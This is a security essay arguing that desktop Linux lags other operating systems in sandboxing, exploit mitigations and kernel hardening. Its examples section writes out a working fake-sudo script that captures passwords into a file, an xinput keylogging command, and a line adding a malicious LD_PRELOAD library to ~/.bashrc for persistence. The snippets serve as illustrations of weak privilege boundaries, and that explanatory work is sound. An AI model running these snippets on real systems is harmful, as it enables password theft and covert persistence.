Linux

Last edited: March 18th, 2022

Linux being secure is a common misconception in the security and privacy realm. Linux is thought to be secure primarily because of its source model, popular usage in servers, small userbase and confusion about its security features. This article is intended to debunk these misunderstandings by demonstrating the lack of various, important security mechanisms found in other desktop operating systems and identifying critical security problems within Linux's security model, across both user space and the kernel. Overall, other operating systems have a much stronger focus on security and have made many innovations in defensive security technologies, whereas Linux has fallen far behind.

Section 1 explains the lack of a proper application security model and demonstrates why some software that is commonly touted as solutions to this problem are insufficient. Section 2 examines and compares a number of important exploit mitigations. Section 3 presents a plethora of architectural security issues within the Linux kernel itself. Section 4 shows the ease at which an adversary can acquire root privileges, and section 5 contains examples thereof. Section 6 details issues specific to "stable" release models, wherein software updates are frozen. Section 7 discusses the infeasibility of the average user correcting the aforementioned issues. Finally, section 8 provides links to what other security researchers have said about this topic.

Due to inevitable pedanticism, "Linux" in this article refers to a standard desktop Linux or GNU/Linux distribution.

Contents

1. Sandboxing

The traditional application security model on desktop operating systems gives any executed application complete access to all data within the same user account. This means that any malicious application you install or an exploited vulnerability in an otherwise benevolent application can result in the attacker immediately gaining access to your data. Such vulnerabilities are inevitable, and their impact should be limited by strictly isolating software from one another.

Linux still follows this security model, and as such, there is no resemblance of a strong sandboxing architecture or permission model in the standard Linux desktop — current sandboxing solutions are either nonexistent or insufficient. All applications have access to each other’s data and can snoop on your personal information.

In comparison, other desktop operating systems, including Windows 10, macOS and ChromeOS have put considerable effort into sandboxing applications, the last two in particular:

- Windows still falls behind when it comes to sandboxing, but it has at least made some progress — Windows automatically sandboxes UWP applications and provides the Windows Sandbox utility for non-UWP applications.
- In macOS, all applications require user consent before accessing sensitive data, and all applications in the App Store are further sandboxed.

- All applications in ChromeOS are sandboxed regardless.

1.1 Flatpak

Flatpak aims to sandbox applications, but its sandboxing is very flawed. It fully trusts the applications and allows them to specify their own policy. This means that security is effectively optional and applications can simply choose not to be sufficiently sandboxed.

Flatpak's permissions are also far too broad to be meaningful. For example, many applications come with the `filesystem=home` or `filesystem=host` permissions, which grant read-write access to the user's home directory, giving access to all of your personal files and allowing trivial sandbox escapes via writing to `~/.bashrc` or similar.

In the Flathub Github organisation, ~550 applications come with such permissions, which is ~30% of all repositories. While this percentage may not seem significant, it includes a considerable amount of applications that people will commonly use. Examples of such include GIMP, Eog, Gedit, VLC, Krita, LibreOffice, Audacity, VSCode, Dropbox, Transmission, Skype and countless others.

Another example of Flatpak's broad permissions is how it allows unfiltered access to the X11 socket, permitting easy sandbox escapes due to X11's lack of GUI isolation. Adding X11 sandboxing via a nested X11 server, such as Xpra, would not be difficult, but Flatpak developers refuse to acknowledge this and continue to claim, "X11 is impossible to secure".

Further examples include Flatpak giving complete access to directories such as `/sys` or `/proc` (kernel interfaces known for information leaks), rather than allowing fine-grained access to only the required files, and the highly permissive seccomp filter which only blacklists ~20 syscalls and still exposes significant kernel attack surface.

1.2 Firejail

Firejail is another common sandboxing technology; however, it is also insufficient. Firejail worsens security by acting as a privilege escalation hole — Firejail requires

being setuid, meaning that it executes with the privileges of the executable's owner, which in this case, is the root user. This means that a vulnerability in Firejail can allow escalating to root privileges.

As such, great caution should be taken with setuid programs, but Firejail instead focuses more on usability and unessential features, which adds significant attack surface and complexity to the code, resulting in numerous privilege escalation and sandbox escape vulnerabilities, many of which aren't particularly complicated.

For comparison, another Linux sandboxing tool — bubblewrap — has significantly less attack surface and is less prone to exploitation because it aims to be very minimal and provide only the absolutely necessary functionality. This is very important and makes the potential for vulnerabilities extremely low.

As an example of this, bubblewrap doesn't even generate seccomp filters itself. One must create their own, often via seccomp_export_bpf, and supply it to bubblewrap. Another example is bubblewrap's simplistic command line arguments: there is no parsing of configuration files or complex / redundant parameters. The user specifies exactly what they want in the sandbox and that's it, whereas Firejail supports hundreds of convoluted command line arguments and profile rules, many of which boil down to overcomplicated blacklist rules.

Unfortunately, bubblewrap isn't very widespread and can be difficult to learn. Bubblewrap is essentially a bare bones wrappers around namespaces and seccomp. A user would need decent knowledge on how the filesystem, syscalls and so on work to properly use it.

2. Exploit Mitigations

Exploit mitigations eliminate entire classes of common vulnerabilities / exploit techniques to prevent or severely hinder exploitation. Linux has not made significant progress on implementing modern exploit mitigations, unlike other operating systems.

Most programs on Linux are written in memory unsafe languages, such as C or C++, which causes the majority of discovered security vulnerabilities. Other operating systems have made more progress on adopting memory safe languages, such as Windows, which is leaning heavily towards Rust, a memory safe language, or macOS

which is adopting Swift. While Windows and macOS are still mostly written in memory unsafe languages, they are at least making some progress on switching to safe alternatives.

The Linux kernel simply implementing support for Rust does not imply that it will be actively used. No major portions of the kernel are written in Rust, and there is no intention to do so. Only a handful of drivers are going to be written in Rust, which will actually result in a net *loss* of security, as mixed binaries can allow for bypasses of various exploit mitigations. Microsoft is the only vendor to have solved the aforementioned problem by implementing Control Flow Guard support for Rust.

Furthermore, modern exploit mitigations, such as Control Flow Integrity (CFI), are also not widely used on Linux. A few examples are explained below; however, it does not attempt to be an exhaustive list.

2.1 Arbitrary Code Guard and Code Integrity Guard

A very common exploit technique is that during exploitation of a buffer overflow vulnerability, an attacker injects their own malicious code (known as shellcode) into a part of memory and causes the program to execute it by overwriting critical data, such as return addresses and function pointers, to hijack the control flow and point to the aforementioned shellcode, thereby gaining control over the program.

The industry eventually evolved to mitigate this style of attacks by marking writable areas of memory as non-executable and executable areas as non-writable, preventing an attacker from injecting and executing their shellcode. However, an attacker can bypass this by reusing bits of code already present within the program (known as gadgets) outside of the order in which they were originally intended to be used. An attacker can form a chain of such gadgets to achieve near-arbitrary code execution despite the aforementioned protections, utilising techniques, such as Return-Oriented Programming (ROP) or Jump-Oriented Programming (JOP).

Attackers often inject their shellcode into writable memory pages and then use these code reuse techniques to transition memory pages to executable (using syscalls such as `mprotect` or `VirtualAlloc`), consequently allowing it to be executed. Linux has yet to provide strong mitigations against this avenue of attacks. SELinux does provide the `execmem` boolean; however, this is rarely ever used. There is also the S.A.R.A. LSM,

but this has not yet been accepted upstream. In comparison to other operating systems:

- In 2017, Windows 10 implemented a mitigation known as Arbitrary Code Guard (ACG), which mitigates the aforementioned exploit technique by ensuring that all executable memory pages are immutable and can never be made writable. Another mitigation known as Code Integrity Guard (CIG) is similar to ACG, but it applies to the filesystem instead of memory, ensuring that an attacker cannot execute a malicious program or library on disk by guaranteeing that all binaries loaded into a process must be signed. Together, ACG and CIG enforce a strict W^X policy in both memory and the filesystem.
- Similar to ACG, macOS includes Hardened Runtime to mitigate injecting shellcode into the memory of user space applications. M1 Macs also have Kernel Integrity Protection (KIP) to protect the kernel. More specifically, it uses a custom hardware mitigation known as KTRR to enforce strict W^X permissions in the kernel.

2.2 Control Flow Integrity

As briefly mentioned before, code reuse attacks can be used to achieve near-arbitrary code execution by chaining together snippets of code that already exist in the program. ACG and CIG only mitigate one potential attack vector — creating a ROP/JOP chain to transition mappings to executable. However, an attacker can still use a pure ROP/JOP chain, relying wholly on the pre-existing gadgets without needing to introduce their own code. This can be mitigated with Control Flow Integrity (CFI), which severely restricts the gadgets an attacker is able to make use of, thus disrupting their chain.

CFI usually has 2 parts: forward-edge protection (covering JOP, COP, etc.) and backward-edge protection (covering ROP). CFI implementations can vary significantly. Some CFI implementations only cover either forward-edges or backward-edges. Some are coarse-grained (the attacker has more freeway to execute a larger amount of gadgets) rather than fine-grained. Some are probabilistic (they rely on a secret being held and the security properties are not guaranteed) rather than deterministic.

The Linux kernel has only implemented support for Clang's forward-edge CFI on ARM64, and in user space, any CFI is practically nonexistent outside of Chromium. In comparison, Windows has had its own coarse-grained, forward-edge CFI implementation since 2014, known as Control Flow Guard (CFG), which is used in the kernel and across user space. Windows also makes use of Intel CET shadow stacks for backward-edge protection, and while CFG is only coarse-grained, Microsoft are working on making it more fine-grained with XFG. M1 Macs also use Pointer Authentication Codes (PAC) to ensure forward and backward-edge protection.

2.3 Automatic Variable Initialisation

One of the most common classes of memory corruption vulnerabilities is uninitialised memory. Windows uses InitAll to automatically initialise stack variables to zero for the kernel and some user space code, as well as safer APIs for the kernel pool. Whereas on Linux, there are mitigations specifically for kernel stack and heap memory, but this does not cover any user space code, and most mainstream distributions don't actually enable them.

2.4 Virtualization-based Security

Windows supports Virtualization-based Security (VBS), which allows it to run the entire operating system inside of a virtual machine and is used to enforce a number of security guarantees. Examples of such include:

- Hypervisor-Enforced Code Integrity (HVCI) makes it significantly harder to inject malicious code into the kernel by using the hypervisor to strengthen code integrity guarantees and ensuring that all code must be validly signed. Even if an attacker has arbitrary write capabilities and can corrupt page table entries (PTEs) to manipulate page permissions, they will still be unable to execute their shellcode because the hypervisor that runs at a higher privilege level won't permit it. This can be thought of as similar to ACG but much stronger and for the kernel.
- Kernel Data Protection (KDP) prevents tampering with kernel data structures by using the hypervisor to mark them as read-only, thereby making data-only attacks more difficult.

- PatchGuard is a feature that verifies the integrity of the Windows kernel at runtime by periodically checking for corruption of important kernel data structures. Although because PatchGuard runs at the same privilege level as a kernel exploit, an attacker could simply find a way to patch it out — historically, the only obstable to this has been heavy code obfuscation techniques that can make it hard to disable. However, with VBS, Microsoft have reinforced this protection with HyperGuard, which leverages the hypervisor to implement it a higher privilege level, thereby making it immune to PatchGuard's weaknesses and substantially more difficult to bypass.

On Linux, there is currently no equivalent to VBS.

3. Kernel

The Linux kernel itself is also extremely lacking in security. It is a monolithic kernel, which means that it contains a colossal amount of code all within the most privileged part of the operating system and has no isolation between internal components whatsoever. The kernel has huge attack surface and is constantly adding new and dangerous features. It encompasses hundreds of subsystems, tens of thousands of configuration options and millions of lines of code. The Linux kernel's size grows exponentially across each release, and it can be thought of as equivalent to running all user space code as root in PID 1, if not even more dangerous.

One example of such dangerous features is eBPF. In a nutshell, eBPF is a very powerful framework within the Linux kernel that allows *unprivileged* user space to execute arbitrary code within the kernel in order to dynamically extend kernel functionality. eBPF also includes a JIT compiler, which is fundamentally a W^X violation and opens up the possibility of JIT spraying. The kernel does perform a number of checks on the code that is executed, but these are routinely bypassed, and this feature has still caused numerous security vulnerabilities.

Another example of these features is user namespaces. User namespaces allow unprivileged users to interact with lots of kernel code that is normally reserved for the root user. It adds a massive amount of networking, mount, etc. functionality as new attack surface. It has also been the cause of numerous privilege escalation

vulnerabilities, which is why many distributions, such as Debian, had started to restrict access to this functionality by default, although most distributions eventually dropped these patches in favour of usability. The endless stream of vulnerabilities arising from this feature shows no sign of stopping either, even after years since its introduction.

The kernel is written entirely in a memory unsafe language and has hundreds of bugs, many being security vulnerabilities, discovered each *month*. In fact, there are so many bugs being found in the kernel, developers can't keep up, which results in many of the bugs staying unfixed for a long time. The kernel is decades behind in exploit mitigations, and many kernel developers simply do not care enough.

Other kernels, such as the Windows and macOS kernels, are somewhat similar too, in that they are also large and bloated monolithic kernels with huge attack surface, but they at least realise that these issues exist and take further steps to mitigate them. As an example of this, Windows has historically been plagued by vulnerabilities within its font parsing code, so in response, Microsoft moved all font parsing out of the kernel and into a separate, heavily sandboxed user space process, restricted via AppContainer. Windows also implemented a mitigation to block untrusted fonts from specific processes to reduce attack surface. Similarly, macOS moved a substantial portion of its networking stack — the transport layer — from the kernel into user space, thereby significantly reducing remote kernel attack surface and the impact of vulnerabilities in the networking stack. Linux, however, does not focus on such systemic approaches to security.

4. The Nonexistent Boundary of Root

On ordinary Linux desktops, a compromised non-root user account with access to sudo is equal to full root compromise, as there are an abundance of ways for an attacker to retrieve the sudo password. Usually, the standard user is part of the "sudo" or "wheel" group, which makes a sudo password security theatre. For example, the attacker can exploit the plethora of keylogging opportunities, such as Xorg's lack of GUI isolation, the many infoleaks in the procfs filesystem, using `LD_PRELOAD` to hook into processes and so much more. Even if one were to mitigate every single way to log keystrokes, the attacker can simply setup their own fake sudo prompt by manipulating `$PATH` or shell aliases/functions to intercept the user's password, completely unbeknownst to the user.

While similar attacks are still possible on other operating systems due to the inherent issues in escalating privileges from an untrusted account, they are often much harder to pull off than on Linux. For example, Windows' User Account Control (UAC) provides the secure desktop functionality, which can make spoofing it significantly harder, provided one is using a standard user account. Moreover, Windows better prevents keylogging by isolating processes that run at lower integrity levels from those that run at higher integrity levels, therefore mitigating Xorg-style attacks. Windows also restricts DLL preloading by disabling the AppInit_DLLs functionality when secure boot is enabled and providing a way to restrict DLL search paths, therefore also mitigating many `LD_PRELOAD`-style attacks. Similarly, macOS includes the secure event input feature, which thwarts many keylogging attempts and secures keyboard input. In addition, macOS' System Integrity Protection and Hardened Runtime features can also prevent `LD_PRELOAD`-style attacks.

5. Examples

The example below sets up a fake sudo prompt to intercept the sudo password:

```
cat <<\EOF > /tmp/sudo
#!/bin/bash
if [[ "${@}" = "" ]]; then
  /usr/bin/sudo
else
  read -s -r -p "[sudo] password for ${USER}: " password
  echo "${password}" > /tmp/password
  echo "${password}" | /usr/bin/sudo -S ${@}
fi
EOF
chmod +x /tmp/sudo
export PATH="/tmp:${PATH}"
```

Executing the full path to the sudo executable will not help either, as an attacker can fake that with a shell function:

```
function /bin/sudo { ... }
function /usr/bin/sudo { ... }
```

Alternatively, an attacker could log keystrokes via X11:

```
xinput list # Finds your keyboard ID.
xinput test id # Replace "id" with the ID from the above command.
```

Now the attacker can simply use `modprobe` to escalate into kernel mode.

An attacker could also trivially setup a persistent, session-wide rootkit via `LD_PRELOAD` or similar variables:

```
echo "export LD_PRELOAD=\"/path/to/malicious_library\"" >> ~/.bashrc
```

This technique is quite common and is used in the majority of user space rootkits. A few examples are azazel, Jynx2 and HiddenWasp.

Those listed above are merely a few examples and do not even require exploiting bugs.

6. Distribution-specific Issues

6.1 Stable Release Models

A myriad of common Linux distributions, including Debian, Ubuntu, RHEL/CentOS, among numerous others use what's known as a "stable" software release model. This involves freezing packages for a very long time and only ever backporting security fixes that have received a CVE. However, this approach misses the vast majority of

security fixes. Most security fixes do not receive CVEs because either the developer simply doesn’t care or because it’s not obvious whether or not a bug is exploitable at first.

Distribution maintainers cannot analyse every single commit perfectly and backport every security fix, so they have to rely on CVEs, which people do not use properly. For example, the Linux kernel is particularly bad at this. Even when there is a CVE assigned to an issue, sometimes fixes still aren't backported, such as in the Debian Chromium package, which is still affected by many severe and public vulnerabilities, some of which are even being exploited in the wild.

This is in contrast to a rolling release model, in which users can update as soon as the software is released, thereby acquiring all security fixes up to that point.

7. Manual Hardening

It's a common assumption that the issues within the security model of desktop Linux are only "by default" and can be tweaked how the user wishes; however, standard system hardening techniques are not enough to fix any of these massive, architectural security issues. Restricting a few minor things is not going to fix this. Likewise, a few common security features distributions deploy by default are also not going to fix this. Just because your distribution enables a MAC framework without creating a strict policy and still running most processes unconfined, does not mean you can escape from these issues.

The hardening required for a reasonably secure Linux distribution is far greater than people assume. You would need to completely redesign how the operating system functions and implement full system MAC policies, full verified boot (not just for the kernel but the entire base system), a strong sandboxing architecture, a hardened kernel, widespread use of modern exploit mitigations and plenty more. Even then, your efforts will still be limited by the incompatibility with the rest of the desktop Linux ecosystem and the general disregard that most have for security.

8. Other Security Researchers' Views on Linux

Many security experts also share these views about Linux, and a few examples are listed below:

- Brad Spengler, developer of grsecurity:
  10 Years of Linux Security,
  https://grsecurity.net/~spender/interview_notes.txt,
  https://twitter.com/grsecurity/status/1249850031357788162,
  https://twitter.com/spendergrsec/status/1308734202330963970
- Kees Cook from Google, Elena Reshetova from Intel, Alexander Popov from Positive Technologies and others:
  What is Lacking in Linux Security and What Are, or Should We be Doing about This?
- Dmitry Vyukov, Google software engineer:
  The state of the Linux kernel security
- Daniel Micay, lead developer of GrapheneOS:
  https://www.reddit.com/r/GrapheneOS/comments/bddq5u/os_security_ios_vs_gra
- Solar Designer, founder of Openwall:
  https://www.openwall.com/lists/oss-security/2020/10/05/5
- Joanna Rutkowska, founder of QubesOS:
  https://twitter.com/rootkovska/status/1136220742662664193
- Justin Schuh, former Google Chrome security lead:
  https://twitter.com/justinschuh/status/1190347400885329920

Go back